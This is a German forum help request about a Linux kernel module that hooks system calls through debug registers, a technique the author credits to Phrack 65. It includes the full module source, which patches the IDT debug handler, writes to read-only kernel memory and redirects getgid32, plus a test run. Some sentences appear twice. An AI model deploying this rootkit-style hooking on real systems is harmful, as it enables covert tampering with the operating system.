Es geht immer noch um di8e Teqneek aus p65 (.:: Phrack Magazine ::.).
Ich habe mein kleines Tool weitergeschrieben, und dachte mir "hookste ma zum getgid32".
gesagt, getan und ausprobiert, DOCH:
Es wird also nicht jeder Aufruf von getgid32 gehookt.
Ich hatte zuerst gedacht es könnte sich um eine RaceCondition bei
handeln, doch auch ein auskommentieren von condition &= ~.... hat keine Veränderung gebracht.
Warum wird also nicht jeder Aufruf von getgid32 gehookt??
Hier ist der Code, ist leicht hässlich, da ich mit ihm z.Zt. viel herumspiel:
Ich habe mein kleines Tool weitergeschrieben, und dachte mir "hookste ma zum getgid32".
gesagt, getan und ausprobiert, DOCH:
Code:
$ cat t.c ; gcc t.c ; ./a.out ; ./a.out ; ./a.out
// __NR_getgid32 = 200
int main(){int x; __asm__ ("movl $200, %%eax; int $0x80; movl %%eax, %0" : "=r" (x)); printf("%d\n", x);}
t.c: In function ‘main’:
t.c:1: warning: incompatible implicit declaration of built-in function ‘printf’
31337
1000
31337
Ich hatte zuerst gedacht es könnte sich um eine RaceCondition bei
Code:
condition &= ~DR_TRAP0;
__asm__ __volatile__ ("movl %0, %%dr6" : : "r" (condition));
Warum wird also nicht jeder Aufruf von getgid32 gehookt??
Hier ist der Code, ist leicht hässlich, da ich mit ihm z.Zt. viel herumspiel:
Code:
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <asm/pgtable.h>
#include <asm/traps.h>
#include <asm/msr.h>
void **sct;
unsigned long sct_call;
unsigned long hook_tbl[346];
void *memmem(char *s1, int l1, char *s2, int l2)
{
if (!l2) return s1;
while (l1 >= l2) {
l1--;
if (!memcmp(s1,s2,l2))
return s1;
s1++;
}
return NULL;
}
struct {
unsigned short limit; /* length of IDT == base + limit */
unsigned int base; /* offset of IDT */
} __attribute__ ((packed)) idtr; /* interrupt descriptor table register */
struct descriptor {
unsigned short off1; /* handler offset - low */
unsigned short sel; /* segment selector */
unsigned char none,flags; /* reserved, flags (DPL) */
unsigned short off2; /* handler offset - high */
} __attribute__ ((packed)) descriptor;
unsigned long get_idt_entry(int number)
{
struct descriptor idt;
asm ("sidt %0" : "=m" (idtr));
memcpy(&idt, (void *)(idtr.base + number * 8), sizeof(idt));
return (idt.off2 << 16) | idt.off1;
}
static void write_ro_mem(unsigned char *to, unsigned char *from, unsigned int sz)
{
int i;
unsigned long address = (unsigned long)to;
pgd_t *base = __va(read_cr3());
pgd_t *pgd = &base[pgd_index(address)];
pmd_t *pmd;
pte_t *pte;
pmd = pmd_offset(pud_offset(pgd, address), address);
printk(KERN_CONT "*pde = %0*Lx ", sizeof(*pmd) * 2, (u64)pmd_val(*pmd));
pte = pte_offset_kernel(pmd, address);
printk("*pte = %0*Lx ", sizeof(*pte) * 2, (u64)pte_val(*pte));
pte->pte |= _PAGE_RW;
for (i = 0; i < sz; i++) {
to[i] = from[i];
}
pte->pte &= ~_PAGE_RW;
printk("\n");
}
asmlinkage int hacked_getgid(void)
{
printk("EL8 HACKED :)\n");
return 31337;
}
# define DR7_L0 (1)
# define DR7_G0 (1 << 1)
dotraplinkage void (*old_do_debug)(struct pt_regs *, long);
dotraplinkage void new_do_debug(struct pt_regs * regs, long error_code)
{
unsigned long condition;
unsigned long mask = DR7_G0|DR7_L0;
__asm__ __volatile__ ("movl %%dr6, %0" : "=r" (condition));
if (condition & DR_TRAP0) {
/* hook sct directly :> */
/* make call sys_call_table(,eax,4) call our own table :> */
regs->ax = ((regs->ax * sizeof(void *)) + (unsigned long)hook_tbl - (unsigned long)sct) / sizeof(void *);
(*old_do_debug)(regs,error_code);
condition &= ~DR_TRAP0;
__asm__ __volatile__ ("movl %0, %%dr6" : : "r" (condition));
__asm__ __volatile__ ("movl %0, %%dr7" : : "r" (mask));
regs->flags |= X86_EFLAGS_RF;
} else {
(*old_do_debug)(regs, error_code);
__asm__ __volatile__ ("movl %0, %%dr7" : : "r" (mask));
}
return;
}
void hook_sct(void)
{
unsigned long handler;
char *p;
/* get sct */
handler = get_idt_entry(0x80);
p = memmem((char *)handler, 100, "\xff\x14\x85", 3);
printk("sct call @ %p, sct @ %p\n", p, *(void **)(p + 3));
/* copy sct contents to hooktbl */
sct = *(void **)(p + 3);
memcpy(hook_tbl, sct, 346 * sizeof(void *));
sct_call = (unsigned long)p;
/* hook funcs */
hook_tbl[__NR_getgid32] = (unsigned long)hacked_getgid;
}
/* get_and_set_do_debug:
* 1. look up int1 handler in idt
* 2. look for call do_debug
* 3. replace call with our own one
*/
unsigned int get_and_set_do_debug(void)
{
unsigned long handler;
unsigned char *p;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0, orig = 0;
handler = get_idt_entry(0x1);
printk("HANDLER %p\n", (void *)handler);
p = (unsigned char *)handler;
while (p[0] != 0xe8) {
p++;
}
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];
offset = *(unsigned int *)buf;
orig = offset + (unsigned int)p + 5;
offset = (unsigned int)new_do_debug - (unsigned int)p - 5;
write_ro_mem(p + 1, (unsigned char *)&offset, 4);
return orig;
}
/*
* init_module:
* 1. get sct calls
* 2. get_and_set_do_debug
* 3. get tcp4_seq_show
* 4. copy sct to hook_tbl
* 5. setup hooks in hook tbl.
* 6. setup DR7 (use sysenter BP (DR1) only if valX != 0)
* 7. set BPs
*/
int init_module(void) {
unsigned long mask = DR7_G0|DR7_L0;
unsigned long addr = get_and_set_do_debug();
old_do_debug = (void *)addr;
hook_sct();
__asm__ __volatile__ ("movl %0, %%dr7" : : "r" (mask));
__asm__ __volatile__ ("movl %0, %%dr0" : : "r" (sct_call));
printk("do_debug @ %p\n", (void *)addr);
return 0;
}
void cleanup_module(void) { return ; }
Zuletzt bearbeitet: